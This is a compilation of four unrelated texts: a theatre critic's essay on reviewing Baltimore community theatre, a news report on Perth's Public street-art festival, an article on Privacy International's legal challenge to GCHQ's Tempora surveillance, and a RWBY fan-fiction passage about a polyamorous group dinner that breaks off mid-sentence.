actor. I was the Frank Rich of Baltimore, and I hurled my bolts of insight from the mountaintop: If you like your Shakespeare straight up and easily pegged, the Bard’s later plays can be problematic. I could offer veiled criticism: The main characters are a little less fiery than one might expect. And I could always end with a bang: This is the late Shakespeare, who pleases some, tries all, and doesn’t really care if you walk away a little confused.  Just when I thought I had the job down, I ran out of professional theater to review — which, in Baltimore, doesn’t take long. But I kept getting assignments from the City Paper, and I noticed some funny things happening. The ticket prices started plummeting. I didn’t need to make reservations. The audiences were getting smaller. The people in the seats were getting older. The theaters were harder to find. And the actors weren’t necessarily bad, but, well, let’s just say they stuck to their day jobs. I had quickly spiraled down through Baltimore’s few examples of semi-pro theater. And minor-league theater. And, because it was the only place to find more shows, I ended up at theater in the rough.  The people on stage were policemen, computer programmers, starry-eyed sophomores, retired schoolteachers. The plays weren’t classics, but they weren’t exactly cutting-edge: Broadway standbys (Art), comic dramas (Fuddy Meers), zany madcap farces (Lend Me a Tenor!), and musicals, musicals, musicals. And Sondheim.  My readership changed. I was no longer writing for potential theatergoers, people looking for my advice on whether to shell out for tickets. I wasn’t even being read by the actors in the plays. I was being read by their best friends and close relatives. And they knew who I was. They knew where I lived. And they knew when I screwed up the names: Thanks for the review and glad you found the show enjoyable. Just a couple of little points…The “stern taskmaster” you describe is actually Florindo, played by Chris Hickle.  This is not a gig for the weak of heart. It’s for the eternal optimist, the dead-end journalist who doesn’t believe in dead ends. It’s for the tolerant, the cheerful, the brave and gratuitously creative. It’s a job for someone who doesn’t have a lot to do on weekends.  •  Tonight, it’s a job for someone willing to log 30 or 40 miles in the pouring rain for a community theater production of Stoppard. The place is Villa Julie College. I have no idea where the college is, so I call for directions and somehow end up talking to the athletics department. Forty-five minutes later, I’ve done exactly what the guy at the athletics department told me, and I still have no idea where I am. Something’s wrong. There are signs above the highway telling me that if I keep going, I’ll arrive in Philadelphia. Standing at a gas-station phone in the driving rain, I discover I’m so far lost that the call to the college is long-distance — and I don’t have enough change to pay for it. And no, I don’t carry a cell phone. I slam down the receiver so hard that its earpiece breaks. Eventually, at a House of Pancakes, I get change, and I reach the athletics department again, and this time I’m transferred to the school’s arts director. I tell her I’m lost, wet, and, apparently, on the outskirts of Philly. She tells me it’s not that far.  “Try to hurry,” she says. “The play’s scheduled to go up in ten minutes.”  The Villa Julie College Players are waiting for me. I head back along the same highway at about 90 miles per hour—peering through the downpour, avoiding cars on my blind side, trying to make out the exit numbers. Then I exit. Three deer step out in the road in front of me, their red eyes in my headlights. They vanish. And then I see a small white sign for the school. It’s a tiny, dark, nonresidential campus with one athletic center and one arts center, a large, squat, leaning tower of Pisa.  The lobby is deserted. The arts director is sitting at a table; she hands me a carefully prepared press packet like a baton. I apologize for being late. She accepts the apology. They’d held up the play for 15 minutes, she says, and then gone ahead, because the actors have to go home. I’ve missed the opening scene, she tells me. But I know what she’s thinking: If I pan the show, I’m toast, because she’ll write a letter to the editor saying I arrived midway through the first act.  The 400-seat theater is empty except for a few audience members, most of them with flowers. The enormous stage is similarly empty — there’s not much of a set, just a man and woman in dialogue. I can barely hear them in the cavernous hall, but the guy is talking to her in a fake Russian accent about the Heisenberg principle. There’s a little note in the program itself. According to the laws of quantum physics, light is generated not through waves but in particles of matter and antimatter. I don’t know what they’re talking about — I keep forgetting that with Stoppard, there’s a reading list you’re supposed to complete before seeing the play — but I take out my notebook and begin to madly scribble fragments of their lines.  Meanwhile, strange things are happening on stage. A briefcase full of classified information is swapped between two identical-looking figures. I still can’t get their names straight. There’s something about identical twins. British secret agents. Some sort of leak.  I’ll need to show I’ve actually been to see the play. Pastiche, I think. Theatrical montage. Sparse set. Beckettian. Swiftian. Pirandelloesque. I give up. I’m sitting there wedged between chairs, digging my fingernails into my forearm: It’s what I do to stop myself from falling asleep.  During intermission, I ask the acne-riddled undergrad at the urinal next to mine whether he understands what’s going on. I ask the question casually, not letting on that I’m actually a semi-professional theater reviewer. He tells me he hasn’t the faintest idea, just knows the actress. I look at the program. He’s probably the guy she dedicated her performance to, along with William Shakespeare, Bob Dylan, and her family. And he’s probably wondering why an older guy in a raincoat is coming out here on a Sunday night to watch a play his girlfriend is starring in.  I return to my seat, and the characters on stage are talking about quantum theory and how nothing is as it seems. The actors seem as confused as I am. There is a large chubby guy in a poncho. Then there’s a woman with red hair, who looks a little like – who was it, Liv Ullmann? I actually saw Liv Ullmann, years ago, in something by Ibsen. But I can’t hear anything this actress is saying. I am starting to nod off. My pen and notepad fall to the ground.  Then I’m jolted awake by a violent explosion: a gunshot. I remember a note in the program warning me about it. I have no idea who’s shooting whom, or why, but the shots keep coming, one after the other. People are exchanging identities. This is all occurring in the Cold War. Usually, even in the worst case scenario, things start moving toward the end. It’s not happening. The voices all maintain their monotone. One actress, I notice, is walking around on crutches. That doesn’t seem to have anything to do with the play itself.  When I emerge, 40 or 50 minutes later, my ears still ring. A small crowd of kids is congregating in the lobby, waiting for their friends to come out, and I head to the garbage can full of opening-night microbrews. It’s a breach of journalistic integrity to take one, but it was a breach of something — I’m not sure what — to come here in the first place. I drink two beers with strange names. The arts director tells me a little about the college — mostly about how it’s not as far away as everyone thinks it is.  •  It’s 4 a.m., and I’m back home. I got lost again on the way back, plus the car sort of broke down — and now I’m finally sitting down to write the review. I stare at the monitor. Nothing comes to me. The rain has stopped by now, and the rosy-fingered dawn is rising above Baltimore’s skyline. The world — or at least the friends and family of the cast — is waiting to see what the drama critic of the Baltimore City Paper has to say about Hapgood.  And what do I have to say? It was bad? It was so bad it was good? The kids were so bad you couldn’t say they were bad? Or should I just tell the world to stay away from drama students trying to do plays they don’t understand, especially on cold, rainy nights? By 6:30 a.m. I’m tired. My day job looms. I remember the last letter to the editor, written in response to a review I’d spent days agonizing over: This is a harangue by someone who does not like the play or the writer. It gives the reader no sense of the production itself. As such, it is lazy and worthless.  Yes, there’s a little bitterness. I have bigger visions of my role as a critic. But my critics seem to think that somehow it’s my role in life to drive out there, 50 miles or so (including detours and retreads), because they have something special to show me. The world doesn’t care what I write or how I write it; the actors just want the thumbs up. I can’t give it to them every time.  But just as I decide to let the world know that this particular production is a disaster, I remember a 20-year-old college kid who got panned in his college newspaper for his leading role in a Sam Shepherd one-act. John Barry was shameless in his overacting. It’s precisely these people who give contemporary theater a bad name. Two decades later I still remember the name of the guy who wrote that. Alex Lee. I don’t know where he lives, but if he had a less generic name, I’d probably have found his address by now. I remember what he looked like that night, squinting superciliously through his glasses in the front row, passing judgment on me, when all I wanted to do was act. And to be honest, I wasn’t that bad in the play. He just caught me on a bad night.  The rain has stopped, for the moment, at least. I’ve taken slings and arrows in my life, but the ones in print take a lot longer to heal. Okay, it was a crappy production. Tom Stoppard’s going to take the bullet. Not that I have anything against Stoppard. It’s just that if he hadn’t written the play, I wouldn’t have wasted my rainy night trying to squeeze something useful out of an amateur production. I start to type: Stoppard is funny. He’s smart, he makes you think, he makes you drink. The problem is that unless someone puts a cork in the Merlot at some point, he won’t shut up…  That’s it, Tom. Take that cork and shove it. And another thing. If I’m only getting paid $55 for a sidebar review, don’t tell me to bone up on Richard Feynman if I want to get the jokes. And the actors themselves. Think of them. They have day jobs. You know what a day job is? Did they ever teach you that at Oxford?  It happens every time. I can’t slam bad community theater. I want to. I want to be contrarian. I want people to hang on my next word. The dream will never die: getting drunk on martinis at Sardi’s after closing down a Disney-sponsored Broadway production, and possibly, later in life, getting a chance to rant on a weekly basis in the opinion pages of the New York Times.  But when these actors read my reviews, they know I’m one of them. For most of us, cultural Baltimore is a marriage of convenience: We’re stuck with one another. Outside my window, Saint Paul Street is tricking with people who can’t afford to live in DC, artists who never made it big, and lecturers who are desperately juggling four or five courses. Huge swaths of the city to the west and east are stuffed with people whose chances for success are small.  Then there are the shoebox theaters trying to squeeze out a little applause from people willing to watch. That population — people who like to watch plays just for the hell of it — is admittedly getting older and smaller. Now, in a world where it’s constantly pounded in our heads that there’s someone more interesting going on somewhere else, people need to be told why they’re doing it and what they’re going to get out of it. In Baltimore’s community theater, that’s not always clear. There aren’t any big names, and no one’s breaking new ground. It’s not guerilla theater, and it’s not fringe theater. It’s exclusive, durable, conservative, filled with core actors and playwrights who are a little jealous of their turf and a little grumpy with people who wonder why they don’t take a few more risks. You can’t blame them: They’ve created a small comfort zone in a city where theater is underfunded, overlooked, and loved by a shrinking crowd of advocates. Whenever I try to play Frank Rich with them, there’s one question I can’t get out of my head: Does the world need one more unread reviewer telling unseen actors to stick to their day jobs?  After 123 reviews, I don’t know the answer to that question. Meanwhile, it’s 7:55. I’ve still got to give this production a thumbs up or a thumbs down. In one hour, my editor will be sitting there, in his warm office, wondering casually where the hell my 400-word theater sidebar is. And I need the 55 bucks. I head back to the computer and my fingers fly across the keyboard. I start off with a breach of journalistic integrity. I call it cushioning the blow: “The Villa Julie Players offer Tom Stoppard a talented cast…” And now for the nugget of truth: “in Hapgood, they barely get a chance to show it.” • 11 September 2007
-Public celebration of urban art hits Perth streets  Updated  Stormie Mills has been making his mark on the streets of Perth for 30 years.  Once restricted to working after dark to avoid being caught, today he is a celebrated artist who has travelled the world transforming spaces.  Mr Mills is also a vocal advocate for the controversial street art movement.  "Is it snails or escargot?" he said.  "Some people might call it vandalism and others will call it art, but the important thing is, there's a discussion about it."  This week Mr Mills has been joined by more than 40 artists from Australia and overseas as part of a program called Public.  It is a celebration of urban art run by not-for-profit arts organisation Form.  Form chairman Paul Chamberlain said the event was two years in the making.  "I'm originally from Bristol in the UK and Bristol is one of the centres for urban art," he said.  "On a trip back there a few years ago, we visited a couple of different urban art festivals and one of my daughters mentioned it would be a fantastic thing to have happen in Perth."  'A more vibrant place to live'  Blank walls around the city will now be taken over by renowned street artists.  "We've got 45 artists from all over the world who've come to help us change the fabric here," Mr Chamberlain said.  "This is all part of Perth's growing-up pains and I think that a bit of urban art around the place will make it a much more vibrant place to live."  One of the visiting artists is Gaia, a 25-year-old from Baltimore in the United States.  There's a lot more red tape to navigate and things are a lot more ordered, for better or for worse. Gaia, urban street artist  He will create a giant mural on a wall in an inner-city car park.  "We're utilised for our transformative capacity," he said.  "We do have the ability to completely change a space and completely change how people perceive that space.  "Whether or not that's the proper perception of that space is up to the various communities that invite us to come."  Gaia said he did not think Perth was as open to urban art as other cities he has worked in.  "Perth, and maybe Australia in general, is significantly more controlled than the United States," he said.  "There's a lot more red tape to navigate and things are a lot more ordered, for better or for worse.  "But it is impressive that they would be so trusting as to welcome international street artists to come, with almost no prior experience of the city, and then copy and paste their work into this environment.  "We'll see ultimately what the reception is."  Street art welcome in Fremantle  Attitudes towards street art do appear to be shifting, at least in some parts of Perth.  Last year, the City of Fremantle approved a new graffiti policy that would see works deemed to have cultural merit preserved.  Since then, cases of graffiti have decreased by 63 per cent.  Mr Mills said other councils could take a leaf out of Fremantle's book.  Sorry, this video has expired Video: Street art festival hits Perth (7pm TV News WA)  "I think there's a lot to be said about the care and attention that people put in to creating these works," he said.  "So if they could understand and appreciate that a bit better and perhaps relinquish some of their want to control the way our city grows, I think it would lend to the creativity and vibrancy of our city."  Unlike a lot of similar urban art festivals held around the world, the works created this week will be permanent.  Some of the visiting artists will also visit the Pilbara to take part in community art projects there and organisers are working to continue and expand the program over the next three years to cover other parts of the state.  A street festival will be held in Perth's Wolf Lane on Friday April 11 and Saturday April 12 to showcase some of the works.  Topics: street-art, community-and-society, perth-6000  First posted
-More details emerge of the UK’s illegal mass spying  By Robert Stevens  10 July 2013  UK charity Privacy International has begun a legal case calling for the British government to end the use of data collected by the US National Security Agency’s (NSA’s) mass surveillance system, Prism.  The papers also call for an injunction on the “Tempora” system, used by the UK’s Government Communications Headquarters (GCHQ) programme to systematically spy on the entire British population.  GCHQ monitors all outgoing and incoming communications via its access to the fibre-optic cables through which all UK Internet traffic passes. Some 600 million “telephone events” are monitored each day by tapping more than 200 fibre-optic cables, including those that connect the UK to the US.  According to the Guardian, the legal claim was submitted to the Investigatory Powers Tribunal (IPT).  The IPT is a tribunal, supposedly tasked with investigating claims regarding the UK’s spy agencies. It was created under the Regulation of Investigatory Powers Act (RIPA) 2000, meets in secret and is not required to make a determination on a complaint.  On this basis, it is not possible to have a complaint heard before an open public court. Carly Nyst, head of international advocacy at Privacy International, wrote in the Guardian Tuesday, “[W]hen Privacy International informed the foreign secretary that it intended to challenge such practices in the British courts, the government’s lawyers notified us that we could not bring such a claim in the administrative court, which would be the normal route. Rather, we have been forced to take our concerns to the IPT.”  Nyst described the IPT as a “quasi-judicial body that meets and deliberates in secret, the decisions of which are neither public nor appealable to any higher authority.”  Nyst noted that according to the IPT’s 2010 report, in its entire history it had only “ruled in favour of the complainant a total of 10 times, out of more than a thousand cases.” The document revealed that out of 180 cases, none found in favour of the complainant.  Privacy International’s claim states, “Through their access to the US programme, UK authorities are able to obtain private information about UK citizens without having to comply with any requirements of RIPA.”  Under RIPA, there is legal requirement that intelligence officials acquire a warrant from a minister before performing a wiretap.  The claim adds, “If UK authorities are to be permitted to access such information in relation to those located in the UK in secret and without their knowledge or consent, the European Convention on Human Rights (ECHR) requires there to be a legal regime in place which contains sufficient safeguards against abuse of power and arbitrary use. There is no such regime.”  The organisation again cites the convention in its attempt to force an injunction against the operation of Tempora, stating, “Bulk interception of communications and bulk inspection of such data is disproportionate interference with the rights guaranteed by article 8 of the ECHR, and it is not being undertaken pursuant to a legal regime containing sufficient safeguards to render it in accordance with the law.”  It adds that RIPA “does not provide sufficiently specific or clear authorisation for such wide-ranging and universal interception of communications, nor any sufficient or proper safeguards against misuse that are known and available to the public.”  Tempora was originally set up in autumn 2011 after being first trialled by GCHQ in 2008. It was part of a wider GCHQ programme, Mastering the Internet (MTI), set up under the last Labour government, and whose detailed operation was confirmed by former NSA subcontractor Edward Snowden.  From its 2011 launch, the gigantic amounts of data it amassed were shared with the NSA (see “Communications of millions subject to US-UK spying” ). Last year, according to documents seen by the Guardian, 550 analysts from GCHQ and the NSA were employed to filter the contents.  Tempora not only monitors and stores all electronic and phone call data of all British citizens, but those of billions of people internationally. These numbers are constantly increasing as the Internet expands. A June 21 report in the Guardian, based on Snowden’s documents, stated, “For the 2 billion users of the world wide web, Tempora represents a window on to their everyday lives, sucking up every form of communication from the fibre-optic cables that ring the world.”  This capability will be vastly expanded as GCHQ’s capacity is being upgraded to take in data from new super cables carrying data at 100 gigabits a second.  In May 2009, the Sunday Times first drew attention to MTI, noting that its existence only came to light through a GCHQ job advertisement carried in the computer trade press. The article reported MTI was being established at a cost of £1 billion over a three-year period. The Times reported it “will rely on thousands of ‘black box’ probes being covertly inserted across online infrastructure.”  At the time, Labour Home Secretary Jacqui Smith denied the government had any plans to establish an all-embracing computerised database that would be able to store all communications data in the UK. Making no mention of the already approved MTI, Smith said, “The government recognised the privacy implications of the move [and] therefore does not propose to pursue this move.”  The article revealed Lockheed Martin, the American defence firm, had been given a £200 million contract as part of MTI, and Detica, a British IT firm closely connected to the intelligence agencies, was also enlisted. Describing MTI, the Times explained, “A huge room of supercomputers will help the agency to monitor—and record—data passing through black-box probes placed at critical traffic junctions with internet service providers and telephone companies, allowing GCHQ to spy at will.”  In an interview published Monday in the news magazine Der Speigel, Snowden gave further details of Tempora. The interview was held via encrypted e-mail with encryption specialist Jacob Appelbaum and documentary filmmaker Laura Poitras before Snowden left the US for Hong Kong and began making public his revelations.  Asked what were some of the “big surveillance programs that are active today and how do international partners aid the NSA?” he stated, “Tempora is the signals intelligence community’s first ‘full-take’ Internet buffer that doesn’t care about content type and pays only marginal attention to the Human Rights Act. It snarfs everything, in a rolling buffer to allow retroactive investigation without missing a single bit. Right now the buffer can hold three days of traffic, but that’s being improved. Three days may not sound like much, but remember that that’s not metadata.  “ ‘Full-take’ means it doesn’t miss anything, and ingests the entirety of each circuits capacity.”  Every piece of data sent and received through the Internet by British Internet users was intercepted, explained Snowden. “If you download something and the CDN (Content Delivery Network) happens to serve from the UK, we get it. If your sick daughter’s medical records get processed at a London call centre…well, you get the idea.”  The British government is imposing unprecedented cuts in public spending, with more than £165 billion being cut from health, education and welfare. The one area where spending is being substantially increased is on the illegal spying network. In his recent Spending Review, Chancellor George Osborne announced a 3.4 percent funding increase to the intelligence services’ £1.9 billion budget. It equates to them receiving another £100 million in funding annually from 2015.
-A/N: side Arkos, Team Sloth, Bumbleby, and arguably Pink Lemonade. agender!Blake and implied ace!Ruby.  Just once Weiss would like to get through a dinner with her seven significant others without arguments, poorly-timed makeouts, or noodles ending up in unfortunate places. This is not one of those times.  “Aw shit, we’ve got a Code Orange.” Yang looked as if she was ready to throw herself in front of Ruby if the situation came to it. “Pyrrha, take your top off. You’re the only one who can save my sister now.”  Finding a restaurant they all enjoyed was always the most challenging aspect of eating out as a group. Back when they first started dating, Weiss made a chart detailing each of her partners’ preferences, but now it had ballooned to the point where she needed a two-page legend to remember what all the different abbreviations meant, and the color coding would give her a headache if she stared at it for too long.  Blake liked poultry and seafood and had an automatic veto if the others decided on a place that might be too vocally anti-Faunus. Nora wouldn’t eat anywhere that didn’t also serve dessert, and both she and Yang couldn’t be trusted within a hundred yards of an enforceable dress code. Too spicy and Jaune would spend the evening locked in the bathroom, crying and running his tongue under cold water.  Pyrrha and Ren were so patiently long-suffering about the whole business that Weiss had them marked down in the light blue ‘permanently undecided unless we need a tiebreaker’ column. Neighboring them in the slightly-darker-blue 'will claim to be undecided but clearly has some preference (see Appendix A for details)’ column with a double asterisk indicating that Weiss needed to grab the check before she could see it and start hyperventilating, was Ruby.  There were few places that could reliably meet all the different criteria, which was the reason why Weiss found herself wedged between Pyrrha and Ruby in the same booth in the same expensive but impeccably discreet restaurant for the third time that month. If they ate here anymore frequently, they’d have to start calling it a tradition, and Weiss wasn’t about to complicate the chart with yet another category.  “I’d like the house salad with salmon, and if it’s not too much trouble could you ask the chef to make certain there aren’t any peppercorns on his steak,” Pyrrha said, collecting all their menus and handing them to the waiter after he was finished scribbling down her order. As soon as he left, her hand returned to its usual position on Weiss’ thigh, calloused thumb stroking absentmindedly over her stockings.  “Wait, that comes with peppercorns?” Jaune preemptively started turning pink in the face, his usual defense mechanism when faced with anything more spicy than ketchup.  Ruby wordlessly passed him her wineglass of milk, still engrossed in Nora’s dramatic retelling of her latest dream. Like Pyrrha, she’d occasionally rest a hand on Weiss’ other thigh, but would never keep it there for longer than a few minutes, soon enough using it to brush her her hair back from her face, or drum her fork on the table, or any one of a dozen different flavors of fidgeting that set Weiss’ teeth on edge during class but she indulged when they went out.  “Of course there are peppercorns on steak au poivre,” Weiss said, “don’t you know what ’au poivre’ means?”  “That it’s a really fancy steak?” he asked. He drained the better part of the glass and handed it back to Ruby with a sigh of relief. “My mom always said that the less you understand what you’re ordering, the fancier it is.”  That bit of homegrown 'wisdom’ would explain why he would point to random bottles on the wine menu whenever they made the mistake of letting him order for the table, though now Weiss had an encyclopedic knowledge of what dessert wines went with fish.  Jaune was the only person at the table Weiss had never imagined herself with prior to the start of this interlocking spiral of a relationship. He thought a sleeveless hooded sweatshirt cowboy boots were the height of fashion, was somehow even more accident prone than Ruby, and she was almost certain he asked his parents for tips before he kissed her for the first time. His mother gave her far too many knowing looks during Beacon’s fortunately infrequent Parent’s Days for it to be anything else.  But when all eight of them gathered as a group to discuss giving their current relationship a try, he hadn’t stuttered or trotted out his arsenal of pickup lines, he spoke calmly and honestly, one hand in Pyrrha’s and a faint blush on his cheeks. It wasn’t until weeks later that Pyrrha told her he’d been sweating so badly they had to towel off their hands after the meeting.  “It’s an easy mistake to make,” Pyrrha said diplomatically.  Blake didn’t look up from reading. “Not really.”  Unless Weiss made a fuss, Blake usually spent most of their meals with a book under the table, but those Faunus ears, left bare in defiance of the restaurant’s unspoken dress code, would always flick from speaker to speaker, betraying an interest in the conversation.  “How would you know? You always get the same thing,” Jaune said, indignant, “poison, medium rare, easy on the sauce, with a lemon wedge. I could order it for you myself.”  Blake licked a fingertip and turned the page. “Poisson.”  “Yes, why don’t we leave the ham-fisted assassination attempts until after dinner, hmm?” Weiss glared at the two of them.  “Hold up.” Across the table from them, Yang held up a finger like she was pressing an imaginary pause button on Nora’s story, who instantly quieted and looked at them expectantly. “I heard 'assassination’, are we in trouble or are we the ones takin’ someone out?”  Nora slammed her fist into the opposite palm, shaking the table so hard her glass of wine would have fallen over if Ren hadn’t been there to steady it. “Ooh, ooh, point out those nasty assassins! I’ll beat 'em up.”  “No, absolutely not,” Weiss said quickly, “no one here is murdering or being murdered. Not now, not ever. I won’t allow it.”  “Aw, you’re so sweet, Weiss.” Before Weiss could protest, Nora leaned over the table and planted a wet kiss right on her cheek, leaving behind a perfect imprint of her lips in bright pink gloss. Settling back down, she pecked Ren and Yang on their cheeks and resumed her story. “Anyway, so I was lying at the bottom of the ravine, both legs shattered–”  “You bruised your toe,” Ren corrected.  “–right, and with an injury like that I knew I didn’t have much time left.”  On cue, both Yang and Ruby gasped, playing the role of live studio audience with every bit of their enthusiasm.  “I limped along until I came to a river of, of…” She looked at Ren.  “Maple syrup.”  “Yeah, a river of maple syrup! There was only one bridge across and it was guarded by an Ursa Major the size of a house–”  Something nudged Weiss’ hand and she looked down to see Ren handing her a napkin. The fabric was a little damp and faintly stained with pink at one corner. He tapped his cheek, now cleaned of any remnants of Nora’s sticky bubblegum-flavored lipgloss, and Weiss gratefully scrubbed off her own lip print. When she passed it back to him, he tucked it up one of the sleeves of his suit jacket in a smooth motion and took Weiss’ hand, loosely lacing their fingers together as he helped Nora with her narrative.  Despite Nora’s repeated attempts to explain the subtle but meaningful differences between being together, being together-together, and being together-together, Weiss wasn’t entirely sure whether Nora and Ren’s relationship with each other was the same as what they both had with her. All that was clear was they were nothing less than inseparable.  By all rights, they shouldn’t have been able to stand being in the same room, their personalities practically designed to grate on each other, but they acted as if they had been married since childhood.  “–so I slid off the pile of Beowolf heads–” Nora paused to clap her hand over Weiss’ and Ren’s, squeezing so tightly Weiss’ knuckles popped. “–and all the villagers hailed me as their true king.”  And somehow, they slotted Weiss right into place in their lives, their affection as strong and as warm as the hands wrapped around her own.  “But what about the cake,” Yang asked, elbow on the table and chin resting in her palm. Though it likely wasn’t intentional, the position would have made it easy for Weiss to stare down the neck of her tight, black dress if she wasn’t a proper young lady who knew how to maintain a modicum of self-control. “Did they ever bake you the reward cake?”  Ruby’s stomach started to rumble and she wrapped both arms around her middle to muffle the sound, looking around nervously to see if anyone heard. Out of all of them, Ruby had the hardest time waiting patiently for their food, always staring at the other patrons while they ate with an expression that wouldn’t have been out of place on a starving puppy.  Weiss sighed. “You had three rolls, can’t you wait another ten minutes?”  “Weiss,” Ruby whined, softly so as not to interrupt Nora, “I didn’t mean to. I’m just really hungry.”  “I think I have some crackers in my bag.” Pyrrha started rummaging through her purse.  “Not the graham crackers,” Jaune said, “those are mine.”  “Ugh, dolts,” Weiss hissed under her breath. “Do I really need to remind you we are in a restaurant? As in, a place that provides food in exchange for legal tender?”  Yang snickered. “Isn’t 'legal tender’ your nickname for my–” She jerked, knees slamming into the underside of the table, rattling the glasses. Across from her, Blake arched a brow. “…I’ll tell you guys later.”  Ignoring her, Weiss extricated herself from Ren and Nora and motioned for a waiter. “We’ll have an order of bread for the table,” she said to him, and added, after Pyrrha gently squeezed her leg, “please.”  “And some sugar packets,” Yang called out as he left.  “Those had better be for your wine,” Weiss said.  Yang made a face. “Ick, no. That sounds really gross, Weiss.”  Weiss clearly remembered having seen her drink far worse on Half-Off Jello Shot Night at the bars, and holding her hair back in the aftermath, but that wasn’t the point. “What a dreadful mistake on my part. I simply assumed that you developed a taste for ruined wine, because I know you’re not planning on trying to flick them down the front of my dress. Again.”  “Me? Nah,” she said, her expression making it clear that Weiss would be fishing scraps of paper and sugar crystals out of her bra as soon as the waiter came back.  Weiss rolled her eyes. “I’m sure.”  “Don’t be like that, princess. I’m only playing. I tell you what, General Xiao Long can find it in her heart to spare the peaceful country of Weiss’ Boobs,” she said, grin widening, “for a price.”  Weiss arched her brow in a silent question. She’d played this game with Yang often enough to know that Yang wouldn’t ask for anything too outrageous in public. Those demands were usually saved for when she caught Weiss in a headlock during their sparring matches or if Weiss had a stubborn jar she needed help opening.  Yang leaned over the table like Nora had done earlier and puckered up. “Gimme a smooch.”  “Honestly.” After a quick check to make certain none of the other patrons were looking at them, Weiss pecked her on the cheek.  “Wow,” Yang said, disappointed, “that was kind of grandma-ish–”  “Oh, hush.” Before Yang could pull away and sulk, Weiss tangled her hands in that golden mane and kissed her deeply.  Yang barely hesitated, tilting her head and cupping Weiss’ jaw to get a better angle, her calloused fingertips rough on Weiss’ skin. Her other hand was resolutely planted on the table, muscles flexing to maintain the awkward position. Tendrils of her hair brushed over Weiss’ face, the same color as sunlight and just as warm, her lips warmer still. No matter how many times they kissed, Yang was never any less eager. She was as greedy as a wildfire, consuming everything Weiss had to offer.  That fire was what had initially drawn her to Yang. A child raised among glass, marble, and cold, sterile spotlights, who couldn’t help but crave the freedom in the curve of Yang’s grin and the scars on her knuckles. She went into their relationship fully anticipating shouting matches and late nights in bed, Yang’s hair sticking to her sweaty skin as she pushed Weiss to the limits of her endurance, dates at some local bar with Yang teaching her to toss back shots and kissing her after she was done coughing and wheezing for breath.  What she hadn’t expected was Yang taking care of her during the first, and worst, hangover of her life, gently running a cool washcloth over her face and helping her limp to and from the bathroom, bearing all of Weiss’ furious accusations the entire time. Despite her temper and rather infuriating way of forcing the rest of her team out of anything resembling a comfort zone, Yang was always by their side, her love enough to make any situation seem just a little bit brighter.  Instead of a shoulder to cry on, Yang was a hand up and a shove forward, and Weiss had spent far too long obsessing over past mistakes to want her any other way. She also had very few complaints about the wonderful, though not exactly chaste, things Yang’s tongue was doing to her mouth. Reluctantly, she was just starting to pull away when Blake pointedly coughed.  Startled, Weiss jerked back as if she’d been burned and glared at the Faunus. Whatever response she might have had died in her throat as she followed the line of Blake’s gaze to where the red-faced waiter was standing, a basket of rolls and small ceramic container of sugar packets clutched in his white-knuckled hands.  “Uh,” he said helplessly, dropping the dishes on the table and hurrying away with an apologetic nod.  The sweat beading at Jaune’s hairline and pink blushes staining the others’ cheeks gave some indication of why no one had noticed the waiter’s return.  Ren had one hand on Nora’s shoulder, tension running through his arm as he struggled to keep in her in her seat. With his other hand, he flicked through the messages on his scroll, searching for something.  He paused on one and opened up the attachment. “This Tuesday,” he murmured to Nora.  Nora pouted, but when she looked at Weiss there was enough hunger in her eyes to terrify any creature of Grimm. “Aw, that’s days and days and days.”  Weiss blushed a brilliant red, recognizing the particular schedule they were talking about.  “Two days-” Ren checked his scroll “-three hours and thirty-four minutes,” he said, his placid smile strained at the corners.  Jaune craned his neck to see the palm-sized screen. “What’s Pyrrha and my–”  “Tomorrow,” Pyrrha interrupted, the hand she had on Weiss’ thigh sliding a half-inch higher.  Ren cocked his head. “Call it a team-building exercise?”  “Sharing!” Nora said excitedly.  “Or that,” he amended.  Yang slammed a hand down on the table. “Hey! You can’t do team stuff and not invite the rest of Team RWBY. Right, sis?”  “Right!” Ruby nodded so hard the hood of her cape, which she insisted on wearing with her evening dress, flopped over her face.  Whether it was Ruby’s age or her preferences, Weiss wasn’t certain, but Ruby never expressed an interest in anything more physical than holding Weiss’ hand or cuddling her close at night. Not that she’d let it stop her from taking Yang’s side in an argument.  “Don’t encourage them,” Weiss hissed, yanking Ruby’s hood down past her chin.  Yang snatched up a roll and chucked it at Weiss’ head, though Pyrrha caught it before it could make contact and set it neatly on the table. “Be nicer to Rubes,” she said. “Tell her, Ruby.”  “How dare you! We’re in public, and that is not appropriate behavior.” Weiss turned to Ruby. “Talk to your sister.”  “Um,” Ruby’s eyes flicked from Weiss to Yang and back again, “um, you see…” She grabbed the roll off the table and jammed it in her mouth, her response muffled in a spray of soggy crumbs, “Mouf full, shorry.”  So much for her fearless leader. Ruby had another roll on standby for as soon as she finished the first one, and the others were already hammering out the logistics. There was only one person she could turn to now.  Still reading in the corner of the booth, Blake was an eye of calm in the center of the hurricane. Only the faint tremble in those broad shoulders as they quaked with silent laughter gave any indication that the Faunus was listening to the conversation.  “Blake,” Weiss said, “do something about these hooligans.”  Blake’s mouth twisted, a smile surfacing for a moment. “Such as?”  “I don’t know. Something! Something…” Weiss paused, listening as Pyrrha and Yang discussed a plan of attack. She shuddered. “Something effective and timely!”  “Can you ask me nicely?” The smile grew a tiny fraction of an inch wider.  Weiss scoffed. “Do it or I’m slashing your fish and book budget in half. Is that what you want, Blake? To go back to store brand canned tuna with the bones left in and bargain bin filth?”  “How terrifying.” Blake addressed the others, voice raising enough to be heard, “We can use Gambol Shroud’s ribbon. I’ll show you how to tie the knots.”  “Like a present,” Nora giggled and licked her lips, “Well, not really a present, because she’ll only be that once we unwrap her, but until then she’s going to be so pretty!”  “You don’t have to unwrap your present to enjoy it,” Blake said.  The color drained out of Weiss’ face even as heat settled deep in her belly. On her best behavior, Nora was exhausting, but with Blake encouraging her, she would be worse than the one time Weiss accidentally gave her regular coffee instead of decaf before bed. It was almost as enticing as it was terrifying.  “Fine,” Weiss said hurriedly, “you win. Please do something.”  Blake’s smile showed teeth. Sharp, white teeth that Weiss couldn’t help but picture scraping over her pulse point, marking her neck for everyone to see. “Alright,” Blake said, sliding a bookmark into the book and putting it aside, “if you’re certain.”  Blake touched Yang’s arm to get her attention. “We still have that group project for Professor Oobleck on Monday.”  “So?” Yang asked, clearly not in the mood to discuss homework when there was a conquest to plan.  “So Weiss has all of our references,” Blake said, “We need her conscious tomorrow.”  “Oh.” Yang frowned. “Maybe next weekend. Abort mission, troops.”  Nora let out a despairing, frustrated sound, but Ren was quick to pass her the sugar packets, her disappointment soon forgotten as she ripped open two and three packets at a time and poured them into her mouth, leaving the discarded wrappers balled up on the table.  “But Pyrrha and I still have our slot, right,” Jaune asked. “Right?”  “I’m instituting a new rule: any groups involving three or more people need to be scheduled four weeks in advance,” Weiss said firmly, “at minimum.”  Yang snorted. “Not gonna 